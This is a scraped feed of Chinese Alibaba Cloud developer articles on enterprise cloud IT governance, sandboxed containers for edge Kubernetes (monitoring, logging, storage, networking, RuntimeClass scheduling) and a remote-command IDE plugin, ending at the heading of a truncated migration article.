        比较常见的场景是,当企业在“尝鲜”阶段享受到上云的好处、做出更加大规模的上云决策后,IT、财务、安全等一个或多各部门逐步介入,在保证企业用户能够简便、高效使用云资源、云服务的同时,确保企业用户在云上的行为符合企业内部的IT规定、成本控制、以及安全规范。与此同时,还需要实现企业原有的 IT 管控流程、运维人员和检验标准与云上业务的有效集成、而不至于在同一家企业内部形成管理断层。

        企业云上管理的问题

        当企业的业务逐渐上云,参与云的团队人数增多,云上使用的资源数量也大幅增加,随之带来的是管理复杂度的增加。其中,企业IT部门最头疼的问题包括:

        • 云上的安全风险
          初期上云许多企业,为了追求速度,缺少最基本的安全安全策略。例如所有员工共用主账号的用户名和密码,所有员工都具有管理员权限,用户的身份缺乏统一的管理等。员工离职带走密码,或者用户名密码泄漏,对企业IT设施是致命的打击。
        • 资源管理的混乱
          在“尝鲜”阶段,少量团队在云上做最初的尝试,对于资源管控的需求很弱。当云上的资源迅速增加,大量的资源混在一起无法区分,IT部门对于不同组织结构、不同项目所消耗的云资源和产生的成本无法提供足够的信息。使用云资源的不同部门也无法只管理“自己”的资源。种种问题,让IT部门备受压力,企业开始思考是不是云并不适合所有企业。
        • 云上的成本浪费
          企业在云上的成本主要来自资源的成本和运维人员的成本。闲置的资源和低下的运维效率都会造成成本的浪费。

        云上 IT 治理框架

        不同类型、不同规模的企业在云上的管理复杂度也不尽相同。管理复杂度通常取决于公司研发运维的人数、组织架构的复杂度、云上资源的规模、IT供应商的数量等等。为了解决云上IT管理所面临的问题,阿里云提供相应的访问控制、资源管理、财资管理、合规管理等能力。这些能力可以单独或结合起来使用。

        test

        阿里云IT治理能力说明

        资源管理

        资源管理是云上IT管理的核心。企业中的应用(以及应用所对应的IT资源)通常会按照类似组织结构的方式进行划分。不同部门会对应着不同的应用;也有的企业按照产品线、产品的方式划分。
        和公司的组织结构一样,资源的组织结构通常也成树状。阿里云资源管理服务可以帮助企业映射组织关系和应用的结构。通过资源目录,企业可以定义:

        • 资源夹:资源夹对应组织的具体结构,不同的结构可以作为账单、管控的单元。
        • 资源账号或云账号:用来代表应用、服务(一组应用),或者应用的生产、测试环境。

        下图为阿里云在资源结构划分的示意图。

        test

        阿里云资源管理服务同时提供账号内资源组的管理。云账号的所有者可以对账号内的资源进行进一步的划分,以满足权限分离的需求,从而提高多人协作的效率。资源的分组通常可以按照应用的模块,例如Web前端,服务后端,网络等。

        test

        在简单管控模型中,也可以直接将云账号使用为部门,并使用资源组来划分应用。

        访问控制

        和资源管理平行的是对身份的管理。企业的组织结构通常代表着企业对于职能,业务,地域的划分,呈树状结构。企业对于组织、身份通常使用既有的管理系统进行集中管理,例如员工的入职、离职、密码、汇报关系等等。在使用云的过程中,使用云的人员需要在云上有相应的身份,并被授予相应的权限去访问云上的环境。

        阿里云用来管理身份权限的产品叫访问控制。访问控制提供两种身份管理的方式:没有本地人员管理系统的企业,可以直接使用阿里云的用户、用户组对人员的身份进行管理;有本地人员管理系统的企业,可以使用访问控制中SSO(单点登录)功能,链接本地身份和阿里云身份。

        在我们服务大型企业的过程中,发现很多企业已经使用身份认证系统,如微软Active Directory, Azure Active Directory, Okta等,并且希望人员的管理依然在原有的身份认证系统中。阿里云提供两种SSO的方式:

        • 角色SSO:IT管理员预先在阿里云上创建管理角色,如“管理员”,“运维”,“监控”,并为角色分配对应的权限。在企业身份认证系统中,不同的用户会映射到不同的角色。阿里云上无需进行用户同步。
        • 用户SSO:IT管理员同步本地人员登陆信息到阿里云,并在阿里云上创建用户组以及管理权限。

        以下示例为使用角色SSO登陆阿里云:

        test

        资源、人员的问题解决后,IT管理员可以对人员权限作出规划。【访问控制】中的权限策略提供了常用的系统策略,同时支持用户自定义权限策略。权限策略定义了用户可以执行操作,以及执行的条件。
        阿里云【访问控制】支持三种级别的授权:账号级别,资源组级别,资源级别。
        权限控制中需要注意的问题是:

        • 控制Root账号。Root账号具有所有的权限,因此也带来更大的安全隐患。通常情况下,您无需使用Root账号。
        • 授权策略遵守最小够用原则。
        • 在较高的层次授权来减少管理的复杂性。尽可能使用账号或资源组级别的授权。

        审计与合规

        虽然有了授权机制让使用者没有权限做不符合企业规定的事情,但在权限范围内使用者依然有可能由于多种原因作出错误的操作。因此,审计作为IT部门最后一道防线,记录所有发生的事情。一旦发生不符合预期的事情,IT部门有可以调出历史记录,追溯事故发生的原因。另一方面,为了避免事故发生,企业根据业界标准和企业过往的最佳实践,制定出内部IT规定,例如密码策略规定,公网访问规定等。 这些规定需要系统化的方式被监控,确保企业时刻处于“合规“的状态。 阿里云在审计和合规方面提供丰富的能力。

        操作审计

        操作审计(ActionTrail)会记录您的云账户资源操作,提供操作记录查询,并可以将审计事件保存到您指定的日志服务Logstore或者OSS存储空间。通过ActionTrail保存的所有操作记录,您可以实现安全分析、资源变更追踪以及合规性审计。
        ActionTrail收集云服务的API调用记录(包括用户通过控制台触发的API调用记录),规格化处理后将操作记录以日志的形式保存到指定的日志服务Logstore中,或者以文件形式保存到指定的OSS存储空间。用户可以使用存储产品丰富的管理功能来管理这些审计数据,比如授权、开启生命周期管理、归档管理、检索、分析、报警等。

        配置审计(Cloud Config)

        配置审计是本次云栖大会发布公测的重量级产品。它为您提供您在阿里云上的资源列表、当前配置快照、历史配置快照等信息,帮助您了解资源配置的历史变更详情。同时它还支持您配置合规审计规则,来监控资源部署和资源配置的合规性。当您的资源配置发生变更时,Config会将变更快照以文件的形式保存到您指定的OSS中。当出现“不合规”情况时,Config将按照您的订阅设置向您发送告警。帮助您在面对大量资源时,轻松的实现基础设施的自主监管,持续保证合规性。

        财资管理

        企业作为一个整体通常在财务方面有统一的管理。常见的两种场景是:

        • 统一支付:绝大多数的企业用户和云厂商已企业维度进行结算。对应的阿里云提供资源目录下的财资托管,让企业可以对于名下的多个账号进行统一结算和支付。
        • 成本分析和Chargeback:对于云上成本重视的企业,通常会按照不同维度进行成本分析,例如按照项目、负责人、组织结构等。更进一步,有的企业会根据每个部门产生的成本做内部结算。在阿里云,用户可以通过资源组、标签等方式来标识资源,并最终在账单中得到体现。企业通过账单API获取账单详细信息,并根据这些标识来进行分账。未来阿里云也会提供更优质的账单、成本方面的体验。

        写在结尾的话

        上云不同阶段的企业,在IT治理方面会遇到不同的挑战。上云早期的企业,了解IT治理框架,可以为企业日后规模化的上云做好准备。上云成熟的企业,了解阿里云上IT治理最佳实践,能够让效率事半功倍。

        杭州云栖大会带你了解更多,“阿里云数据智能技术峰会”全揭秘,硬核技术,普惠AI。全面了解阿里云覆盖云服务、AI开发平台、算法、产业AI的全数智能力。

        ]]>
        安全容器在边缘计算场景下的实践-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 原文作者:stormx
        原文链接:https://developer.aliyun.com/article/727441

        更多云原生相关资讯可关注阿里巴巴云原生技术圈

        导读:随着云计算边界不断向边缘侧延展,传统 RunC 容器已无法满足用户对不可信、异构工作负载的运行安全诉求,边缘 Serverless、边缘服务网格等更是对容器安全隔离提出了严苛的要求。本文将介绍边缘计算场景如何构建安全运行时技术基座,以及安全容器在架构、网络、监控、日志、存储、以及 K8s API 兼容等方面的遇到的困难挑战和最佳实践。

        本文主要分为四个部分,首先前两个部分会分别介绍一下ACK安全沙箱容器和边缘容器(Edge Kubernetes),这两个方向内容目前大部分人接触并不是很多。第三部着重分享安全沙箱容器在边缘这边的解决方案与实践经验,最后会介绍一下我们在安全容器方向新的探索和实践-可信/机密计算。

        安全容器运行时

        据 Gartner 预测,2019 年一半以上的企业会在其开发和生产环境中使用容器部署应用,容器技术日趋成熟稳定,然而在未容器化的企业或用户中,42% 以上的受访者表示容器安全成为其容器化的最大障碍之一,主要包括容器运行时安全、镜像安全和数据安全加密等。

        端到端的云原生安全架构

        image.png

        在讲安全沙箱容器之前简单介绍下端到端云原生安全架构,主要分为三部分:

        1.基础架构安全

        基础架构安全依赖于云厂商或者是专有云一些基础设施安全能力,也包括 RAM认证,细粒度RAM授权,支持审计能力等等。
        **
        2.安全软件供应链**

        这部分包括镜像签名,镜像扫描,安全合规等等,甚至包括有一些静态加密BYOK,DevSecOps,安全分发等。

        3.容器运行时的安全

        这部分包括安全沙箱隔离,还包括了容器运行时其它方面一些安全机制,如KMS(秘钥管理服务)集成、多租户的管理和隔离等等。

        安全容器运行时对比

        image.png

        接下来分享下业界在安全容器运行时的一些方案对比,业界安全容器运行时分为四大类:

        • OS容器+安全机制
          主要原理是在传统 OS 容器之上增加一些辅助安全辅助手段来增加安全性,如SELinux、AppArmor、Seccomp等,还有docker 19.03+可以让Docker运行在 Rootless 的模式之下,其实这些都是通过辅助的工具手段来增强OS容器的安全性,但依然没有解决容器与Host共享内核利用内核漏洞逃逸带来的安全隐患问题;而且这些安全访问控制工具对管理员认知和技能要求比较高,安全性也相对最差。
        • 用户态内核
          此类典型代表是 Google 的 gVisor,通过实现独立的用户态内核去补获和代理应用的所有系统调用,隔离非安全的系统调用,间接性达到安全目的,它是一种进程虚拟化增强。但系统调用的代理和过滤的这种机制,导致它的应用兼容性以及系统调用方面性能相对传统OS容器较差。由于并不支持 virt-io 等虚拟框架,扩展性较差,不支持设备热插拔。
        • Library OS
          基于 LibOS 技术的这种安全容器运行时,比较有代表 UniKernel、Nabla-Containers,LibOS技术本质是针对应用对内核的一个深度裁剪和定制,需要把 LibOS 与应用编译打包在一起。因为需要打包拼在一起,本身兼容性比较差,应用和 LibOS 的捆绑编译和部署为传统的 DevOPS 带来挑战。
        • MicroVM
          我们知道业界虚拟化(机)本身已经非常的成熟,MicroVM轻量虚拟化技术是对传统虚拟化的裁剪和,比较有代表性的就是 Kata-Containers、Firecracker,扩展能力非常优秀。VM GuestOS 包括内核均可自由定制,由于具备完整的OS和内核它的应用兼容性及其优秀;独立内核的好处是即便出现安全漏洞问题也会把安全影响范围限制到一个 VM 里面,当然它也有自己的缺点,Overhead 可能会略大一点,启动速度相对较慢一点。

        完全杜绝安全问题的发生-不可能!

        Linus Torvalds 曾在 2015年的 LinuxCon 上说过 "The only real solution to security is to admit that bugs happen, and then mitigate them by having multiple layers.” ,我们无法杜绝安全问题,软件总会有 Bug、Kernel 总会有漏洞,我们需要去面对这些现实问题,既然无法杜绝那我们需要就给它(应用)加上隔离层(沙箱)。

        安全容器运行时选择

        用户选择安全容器运行时需要考虑三方面:安全隔离、通用性以及资源效率。

        image.png

        • 安全隔离
          主要包括安全隔离和性能隔离。安全隔离主要是安全问题影响的范围,性能隔离主要是降低容器间的相互干扰和影响。
        • 通用性
          通用性,首先是应用兼容性,应用是否可以在不修改或者小量修改的前提下运行在上面;其次是标准性兼容,包括 OCI 兼容、K8sAPI 兼容等;最后“生态”保证它可持续性和健壮性。
        • 资源效率
          资源效率讲究更低 Overhead,更快的启动速度,更好的应用性能。

        总结

        其实目前没有任何一种容器运行时技术可以同时满足以上三点,而我们需要做的就是根据具体的场景和业务需求合理选择适合自己的容器运行时。

        在「资源效率」和「通用性」做的比较好的是传统的OS容器、runC等,但安全性最差;在「资源效率」和「安全隔离」做的比较好的是 UniKernel、gVisor 等,但应用兼容和通用性较差;在「安全隔离」和「通用性」方面做的比较的是 Kata-containers、Firecracker等,但 overhead 开销稍大启动速度稍慢,应用性能也相对传统OS容器较差。

        ACK安全沙箱容器

        我们阿里云容器服务 ACK 产品基于 Alibaba Cloud Sandbox 技术在 2019 年 09 月份推出了安全沙箱容器运行时的支持,它是在原有Docker容器之外提供的一种全新的容器运行时选项,它可以让应用运行在一个轻量虚拟机沙箱环境中,拥有独立的内核,具备更好的安全隔离能力,特别适合于多租户间负载隔离、对不可信应用隔离等场景。它在提升安全性的同时,对性能影响非常小,并且具备与Docker容器一样的用户体验,如日志、监控、弹性等。

        image.png

        对于我们场景来说,「安全性」和「通用性」是无疑最重要的,当然性能和效率我们也做了大量的优化:

        • 轻量虚拟机沙箱;
        • 独立 kernel,强隔离,安全故障域影响最小;
        • 兼容 OCI 标准,几乎兼容所有 K8s API;
        • 约 25 MB 的极低 Overhead 开销;
        • 500ms 极速启动,拥有原生传统OS容器约 90% 的优秀性能;
        • 适合多租负载隔离、不可信三方应用隔离、多方计算、Serverless 等场景。

        ACK边缘容器(ACK@Edge)

        随着万物互联时代的到来,智慧城市、智能制造、智能交通、智能家居,5G时代、宽带提速、IPv6的不断普及,导致数百亿的设备接入网络,在网络边缘产生ZB级数据,传统云计算难以满足物联网时代大带宽、低时延、大连接的诉求,边缘云计算便应运而生。

        边缘计算设施服务越来越难以满足边端日益膨胀的诉求,因而云上服务下沉,边缘 Serverless、边缘侧隔离不可信负载等日趋强烈...

        所以,为了满足我们边缘云计算场景需求,我们 ACK 推出了 Kubernetes 边缘版。

        image.png

        先来看下典型的边缘云模型,它由云(侧)、边(侧)、端(侧)三部分共同组成,三者相互协同,并提供统一的交付、运维和管控标准。云侧统一管控,是整个模型的中枢大脑;边侧由一定计算/存储能力的节点组成,是距离设备和用户最近的计算/存储资源;亿万端侧设备就近计入“边缘节点”。

        “边”又分为两大类;一个是工业级的边,这类比较典型代表是云厂商提供的 CDN 节点计算资源、服务或者 Serverless 等,工业级的边也可提供 AI 预测、实时计算、转码等服务能力,把云上的服务下沉到边侧。第二类是用户或者工厂、园区、楼宇、机场等自己提供计算资源服务器或者网关服务器,如一个家庭网关可以作为边缘节点接入到集群中从而可以纳管控制家庭中的智能电器设备。

        那边缘 Serverless 如何解决多租户负载隔离?工程如何在自己的内网环境安全运行三方提供的应用服务和负载?这也就是我们在边缘侧引入安全沙箱容器的根本原因。

        解决方案

        整体方案

        image.png

        先看下整体解决方案,上面架构完全契合了“云-边-端”模型,我们整个架构是基于 Kubernetes 来开发的。

        “云侧”,既“管控端”,提供了整个 K8s 集群的统一管控,托管了 K8s 集群“四大件(master组件)”:kube-apiserver、kube-controller-manager、kube-scheduler以及 cloud-controller-manager,同时我们在“云侧为”增加了 AdminNode 节点用户部署 Addons 组件,如 metrics-server、log-controller 等非核心功能组件;当然,“云侧”也会适配云上的各类服务为自己附能,如监控服务、日志服务、存储服务等等。

        “边侧”,既边缘Node节点,我们知道“云侧”到“边侧”的弱网会导致边缘Node失联,失联时间过长会导致 Master 对节点上的 Pod 发出驱逐指令,还有断网期间“边缘节点”主机重启后应用如何恢复和自治,这些都是 Edge Kubernetes 面临的最大挑战之一;当在 K8s 引入安全沙箱容器运行时,会发现 K8s Api 不兼容、部分监控异常、日志无法正常采集、存储性能极差等诸多问题,都给我们带来了极大的挑战。

        在分享解决以上问题前,我们先看下云侧安全沙箱容器方案。

        image.png

        上图橙色虚框内是节点运行时的组件分层结构,上面是 kubelet,CRI-Runtime 有 Docker 和 Containerd 两类,其中安全沙箱容器运行时方案(深蓝色背景部分)中我们选择了 Containerd 作为 CRI-Runtime,主要考虑到 Containerd 的结构简洁,调用链更短,资源开销更小,而且它具有及其灵活的多 Runtimes 支持,扩展能力也更优。

        我们在一个“安全沙箱节点”上同时提供了 RunC 和 RunV 两种运行时的支持,同时在 K8s 集群中对应的注入了两个 RuntimeClass( runc 和 runv )以便轻松轻易按需调度和选择,“同时提供 RunC 支持” 也是考虑到诸如 kube-proxy 等 Addon 组件没必要运行在安全沙箱中。

        OS 我们选择了阿里云的发行版 OS:Aliyun Linux,4.19+ 的 Kernel 对容器的兼容性更优、稳定性更好,同时我们对其进行了极少的定制,以便支持硬件虚拟化。

        最下面运行就是我们的裸金属服务器,在云上我们提供了神龙,在边缘侧任何支持硬件虚拟化的裸金属服务器均可。

        边缘接节点治理

        问题

        K8s 管控端与边缘节点断网维护,如工厂封网内部设备维护等,超过 Pod 容忍时间(默认300s)后会导致管控端发出“驱逐失联节点上所有 Pods”指令,在维护结束网络恢复后,边缘节点收到驱逐指令删除所有应用 Pod,这对于一个工厂来说是灾难性的。
        在封(断)网期间边缘节点硬件重启,就会导致节点上依赖管控端(如 kube-apiserver)的部分组件或数据无法正常启动或载入。

        常见社区方案

        社区方案一:

        image.png

        主要原理是基于 kubelet checkpoint 机制把一些资源对象缓冲到本地文件,但 kubelet checkpoint 能力较弱,仅可以魂村 pod 等个别类型对象到本地文件,像常用的 ConfigMap/Secret/PV/PVC 等暂不支持。当然也可以定制修改 kubelet,但后期会带来的大量的升级和维护成本。

        社区方案二:

        image.png

        利用集群联邦,把整个 K8s 集群下沉到边缘侧,如每个 EdgeUnit 存在一个或多个 K8s 集群,通过云侧的 K8s Federation 进行多集群/负载管理。但因为 EdgeUnit 分散性且规模较大庞大,会导致集群规模数倍增加,产生大量的 Overhead 成本,很多 EdgeUnit 内通常仅有几台机器。而且这种架构也比较复杂,难以运维,同时,边缘K8s集群也很难复用云上成熟服务,如监控、日志等。

        我们的方案

        image.png

        如上图,在我们的边缘治理方案中,我们增加了两个非常重要的组件:

        • ECM(edge-controller-manager):节点自治管理,忽略自治模式节点上的 Pod 驱逐等。

          • 基于 node-lifecycle-controller;
          • 通过 Annotation 配置开关,表示节点是否开启自治模式;
          • 对于自治模式的节点,当节点失联(NotReady等)时忽略对节点上容忍超时的 Pod 驱逐。
        • EdgeHub:边缘节点代理

          • 作为 kubelet 和 apiserver 之间的缓存和代理;
          • 在网络正常情况下,EdgeHub直接代理转发 Kubelet 请求到 apiserver,并缓存结果到本地;
          • 在节点断网的情况下,EdgeHub 利用本地缓存充当 apiserver,但 EdgeHub并未真正的 apiserver,所以须忽略所有过来的写操作请求。

        监控方案

        image.png

        上图为整个监控的原理图,流程是:

        metrics-server 定期主动向所有节点 kubelet 请求监控数据;
        kubelet 通过 CRI 接口向 containerd 请求监控数据;
        containerd 通过 Shim API 向所有容器 shim 请求容器的监控数据;

        Shim API 目前有两个版本 v1 和 v2。
        containerd-shim-kata-v2 通过虚拟串口向 VM GuestOS(POD) 内的 kata-agent 请求监控数据,kata-agent 采集 GuestOS 内的容器监控数据并响应。
        我们 runC shim 用的是 containerd-shim,这个版本虽然比较老,但稳定性非常好,经过大量的生产验证。
        metrics-server 把监控数据除了 Sink 到云监控上外,自己内存中还存放了最近一段时间的监控数据,用于提供给 K8s Metrics API,这些数据可用于 HPA 等。
        我们遇到的问题是 CRI ContainerStats 接口提供的监控指标非常少,缺失了 Network、Block IO等非常重要的API,并且已有的 CPU 和 Memory 的数据项也及其少。

        // ContainerStats provides the resource usage statistics for a container.
        message ContainerStats {
            // Information of the container.
            ContainerAttributes attributes = 1;
            // CPU usage gathered from the container.
            CpuUsage cpu = 2;
            // Memory usage gathered from the container.
            MemoryUsage memory = 3;
            // Usage of the writeable layer.
            FilesystemUsage writable_layer = 4;
        }
        
        // CpuUsage provides the CPU usage information.
        message CpuUsage {
            // Timestamp in nanoseconds at which the information were collected. Must be > 0.
            int64 timestamp = 1;
            // Cumulative CPU usage (sum across all cores) since object creation.
            UInt64Value usage_core_nano_seconds = 2;
        }
        
        // MemoryUsage provides the memory usage information.
        message MemoryUsage {
            // Timestamp in nanoseconds at which the information were collected. Must be > 0.
            int64 timestamp = 1;
            // The amount of working set memory in bytes.
            UInt64Value working_set_bytes = 2;
        }

        那如何补齐监控 API?由于我们有着庞大的存量集群,我们的改动既不能影响已有的用户监控,也不能对整个监控设施方案做大的改动,所以改动尽量在靠近底层的地方做适配和修改,我们最终决定定制 kubelet,这样整个监控基础设施不需要做任何变更。

        下面是 kubelet 具体修改的原理图:

        image.png

        kubelet 的监控接口分为三大类:

        1.summary 类,社区后面主推接口,有 Pod 语义,既可以适配 CRI Runtime 也可以兼容 Docker。

        • /stats/summary。

        2.default 类,较老的接口,无 Pod 语义,社区会逐渐废弃此类接口。

        • /stats
        • /stats/container
        • /stats/{podName}/{containerName}
        • /stats/{namespace}/{podName}/{uid}/{containerName}

        3.prometheus类,prometheus格式的接口,实际上后端实现复用了 default 类的方法。

        • /metrics
        • /metrics/cadvisor

        为了更好的兼容,我们对三类接口均进行了适配。上图红色部分为新增,黄色虚框部分为修改。

        1.summary 类
        新增为 containerd 专门实现了接口 containerStatsProvider :containerdStatsProvider,因 kubelet 通过 CRI 连接 containerd,故 containerdStatsProvider 在实现上复用了 criStatsProvider, 同时增加了 Network、Block IO 等。

        2.default 类和 prometheus 类
        在入口处增加判断分支,若为 containerd 则直接通过 contaienrdStatsProvider 拿数据。

        实际上,只修改 kubelet 还不够,我们发现 containerd 后端返回的监控数据也没有 Network、Block IO等,所以我们推动了社区在 containerd/cgroups 扩展补齐了API。

        日志方案

        image.png

        上图是我们的日志方案,我们需要通过阿里云日志采集 Agent Logtail 采集容器日志,主要有三种使用方式:

        1.DaemonSet 部署的 Logtail

        • 采集节点上所有容器的标准输出。
        • 通过容器环境变量配置的容器内的采集日志路径,在宿主机上拼接容器的 rootfs 路径,可在宿主机上直采容器内日志文件。

        2.Sidecar 部署的 Logtail

        • 只采集同 Pod 内的其他应用容器日志文件。

        我们在containerd/安全沙箱容器遇到的问题:

        1.Logtail 需要连接容器引擎获取主机上的所有容器信息,但只支持docker,不支持 containerd。
        2.所有 runC 和 runV 容器标准输出无法采集。
        Logtail DaemonSet 模式无法直采 runC 和 runV 内。
        解法:

        1.支持 containerd,同时考虑到通用性,我们在实现上通过 CRI 接口而非 containerd SDK 直接连接 containerd,这样即便以后换了其他 CRI-Runtime,我们 Logtail 可以轻易直接支持。
        2.通过 Container Spec 获取容器标准输出日志路径,由于如论 runC 还是 runV 容器的标准输出文件均在 Host 上,所以只要找到这个路径可以直接采集。
        3.在 runC 的日志文件路径查找上,我们做了个优化:优先尝试查找 Upper Dir,否则查找 devicemapper 最佳匹配路径,由于 runV 有独立 kernel 无法在 Host 侧直采容器内日志文件。由于 runV 容器和 Host 内核不再共享,导致无法在 Host 上直接采集 runV 容器内的日志文件。

        存储方案

        安全沙箱容器存储方案涉及到两方面,分别是 RootFS 和 Volume。

        • RootFS 可以简单的理解为容器的“系统盘”,每一个容器均有有一个 RootFS,目前主流的 RootFS 有 Overlay2、Devicemapper 等;
        • Volume 可以简单的理解为容器的“数据盘”,可以为容器用来作为数据存储扩展。

        RootFS

        image.png

        对于安全沙箱容器场景中容器 RootFS 我们并没有采用默认的 overlayfs,主要是因为 overlayfs 属于文件目录类,在 runC 把 rootfs 目录 mount bind 到容器内没有任何问题,但在 安全沙箱容器 kata 上直接 mount bind 到容器内会经过 kata 的 9pfs,会导致 block io 性能下降数十倍,所以 我们采⽤ devicemapper 构建了⾼速、稳定的容器 Graph Driver,由于 devicemapper 的底层基于 LVM,为每个容器分配的 dm 均为一个 block device,把这个设备放入容器内就可以避免了 kata 9pfs 的性能影响,这样就可以实现一个功能、性能指标全⾯对⻬ runC 场景的 RootFS。

        优点/特点:

        1.采用 devicemapper snapshot 机制,实现镜像分层存储;
        2.IOPS、Bandwidth 与 RunC overlayfs + ext4 基本持平;
        3.基于 snapshot 增强开发,实现容器镜像计算和存储的分离。

        Volume

        image.png

        在容器的存储上,我们采用了标准的社区存储插件 FlexVolume 和 CSI Plugin,在云上支持云盘、NAS 以及 OSS,在边缘我们支持了 LocalStorage。

        FlexVolume 和 CSI Plugin 在实现上,默认均会将云盘、NAS 等先挂载到本地目录,然后 mount bind 到容器内,这在 runC 容器上并没有任何问题,但在安全沙箱容器中,由于过 9PFS 所以依然严重影响性能。

        针对上面的性能问题,我们做了几方面的优化:

        • 云上

          • NAS

            • 优化 FlexVolume 和 CSI Plugin,针对沙箱(runV) Pod,把 mount bind 的动作下沉到沙箱 GuestOS 内,从而避开了 9PFS;而对 runC Pod 保持原有默认的行为。
          • 云盘或本地盘

            • 云盘或本地盘会在本地依然格式化,但不会 mount 到本地目录,而是直接把 block device 直通到沙箱中,由沙箱中的 agent 执行挂载动作。
        • 边缘

          • 在边缘侧,我们采用了 Virtio-fs 避开 9PFS 的问题,这种方式更通用,维护起来也更轻便,在性能上基本可以满足边缘侧的需求,当然无法和“云上直通”优化的性能好。

        网络方案

        image.png

        在网络方案中,我们同样既需要考虑“云上”和“边缘”,也需要考虑到“通用性”和“性能”,在 K8s 中还需要考虑到网络方案对 “容器网络” 和 “Service 网络” 的兼容性。

        如上图,我们的网络方案中虽然有三种方案。

        1.Bridge 桥接模式
        2.网卡直通模式
        3.IPVlan 模式

        Birdge桥接模式

        桥接模式属于比较老的也比较成熟的一种网络方案,它的优点就是通用性比较好,架构非常稳定和成熟,缺点是性能较差,特点是每个 Pod 都需要分配 Veth Pair,其中一端在 Host 测,一端在容器内,这样所有容器内的进出流量都会通过 Veth Pair 回到 Host,无需修改即可同时完美兼容 K8s 的容器网络和 Service 网络。目前这种方案主要应用于云上的节点。

        网卡直通模式

        顾名思义,就是直接把网卡设备直通到容器内。在云上和边缘由于基础网络设施方案不通,在直通方面略有不同,但原理是相同的。

        • 云上,主要用来直通 ENI 弹性网卡到每个 Pod 内。
        • 边缘,边缘网络方案基于 SR-IOV,所以主要用来直通 VF 设备。
          直通方案的优点是,最优的网络性能,但受限于节点 ENI 网卡 或 VF 设备数量的限制,一般一台裸金属服务商只能直通 二三十个 Pod,Pod密度较低导致节点资源浪费。

        IPVlan模式

        IPVlan 是我们下一代网络方案,整体性能高于 Bridge 桥接模式,建议内核版本 4.9+,缺点是对 K8s Service 网络支持较差,所以我们在内核、runtime 以及网络插件上做了大量的优化和修复。目前 IPVlan 网络模式已在灰度中,即将全域开放公测。

        网络性能对比

        下图是各个方案网络性能对比:

        image.png

        总结

        从 Ping 时延、不同带宽、TCP_RR 和 UDP_RR 多个方面同时对比了这几种网络方案,Host作为基准。可以看出,直通网卡的性能可以做到接近host的性能,ipvlan和bridge与直通网卡方式有一定差距,但前两者通用性更好;总体来说 ipvlan 比 bridge 性能普遍更好。

        另外,表中 Ping 时延的相对百分比较大,但实际上从数值差距来说只有零点零几毫秒差距。

        注:以上为内部数据测试结果,仅供参考。

        多运行时(RuntimeClass)调度

        Kubernetes 从 1.14.0 版本开始引入了 RuntimeClass API,通过定义 RuntimeClass 对象,可以很方便的通过 pod.Spec.runtimeClassName 把 pod 运行在指定的 runtime 之上,如 runc、runv、runhcs等,但是针对后续不同的 K8s 版本,对 RuntimeClass 调度支持不同,主要分为两大阶段。

        1.14.0 <= Kubernetes Version < 1.16.0

        image.png

        apiVersion: node.k8s.io/v1beta1
        handler: runv
        kind: RuntimeClass
        metadata:
        name: runv
        ---
        apiVersion: v1
        kind: Pod
        metadata:
            name: my-runv-pod
        spec:
            runtimeClassName: runv
            nodeSelector:
                runtime:  runv
            # ...

        低于 1.16.0 版本的 K8s 调度器不支持 RuntimeClass,需要先给节点打上运行时相关的 Label,然后再通过 runtimeClassName 配合 NodeSelector 或 Affinity 完成。

        Kubernetes Version >= 1.16.0

        从 K8s 1.16.0 版本开始,对 RuntimeClass 调度的支持得以改善,但从实现上,并不是在 kube-scheduler 的新增对 RuntimeClass 支持的算法,而是在 RuntimeClass API 上新增了 nodeSlector 和 tolerations,此时用户的 pod 上只需要指定 runtimeClassName 而无需指定 nodeSelector 或 affinity, kube-apiserver 的 Admission WebHook 新增了 RuntimeClass 的 Mutating,可以自动为 pod 注入 pod.spec.runtimeClassName 所关联的 RuntimeClass 对象里配置的 nodeSelector 和 tolerations ,从而间接地支持调度。

        image.png

        同时,由于很多新的运行时(如 安全沙箱)自身有 overhead,会占用一定的内存和CPU,所以 RuntimeClass API 上新增了 overhead 用于支持此类场景,这部分资源在 Pod 的调度上也会被 kube-scheduler 计算。

        参考:
        • runtimeclass issue:https://github.com/kubernetes/enhancements/pull/909
        • runtimeclass kep:https://github.com/kubernetes/enhancements/blob/master/keps/sig-node/runtime-class-scheduling.md (已加入1.16.0)
        • pod-overhead: https://github.com/kubernetes/enhancements/blob/master/keps/sig-node/20190226-pod-overhead.md

        新探索-可信/机密计算

        image.png

        很多用户考虑到成本、运维、稳定性等因素去上云,但往往因为对公有云平台安全技术担忧以及信任,很多隐私数据、敏感数据对云“望而却步”;往往现有的安全技术可以帮我们解决存储加密、传输过程中的加密,但无法做到应用运行过程的加密,这些数据在内存中是明文的,入侵者或者云厂商有能力从内存窥探数据。就是在这种背景下,可信/机密计算应运而生,它是基于软硬件技术,为敏感应用/数据在内存中创建一块 Encalve(飞地),它是一块硬件加密的内存,任何其他的应用程序、OS、BIOS、其他硬件甚至云厂商均无法解密这部分内存数据。

        image.png

        在此背景下,我们联合了多个团队,在 ACK 上研发了基于 Intel SGX 硬件加密的 TEE 运行时,可让用户的应用的跑在一个更加安全、可信的运行时环境中,帮助更多的用户破除上云的安全障碍,我们也将在 2020年Q1进行公测。

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        在本地 IDE 中快捷执行远程服务器命令 Command-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 原文作者:银时
        原文链接:https://developer.aliyun.com/article/727281

        更多云原生相关资讯可关注阿里巴巴云原生技术圈

        Cloud Toolkit 新版本发布,允许开发者在本地 IDE 中快捷执行远程服务器命令 Command。

        界面缩略图

        image.png

        第 1 步 :添加目标机器

        image.png

        如上图所示,在菜单
        Tools - Alibaba Cloud - Alibaba Cloud View - Host中打开机器视图界面,如下图:
        image.png

        点击右上角 Add Host 按钮,出现添加机器界面

        image.png

        第 3 步 :添加命令并执行

        点击机器列表中的 Command 按钮,会出现命令选择界面。第一次使用,需要添加一条命令。

        image.png

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        十分钟上线- CodeIgniter 项目迁移到函数计算-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 原文作者:txd123
        原文链接:https://developer.aliyun.com/article/727023

        更多云原生相关资讯可关注阿里巴巴云原生技术圈

        前言

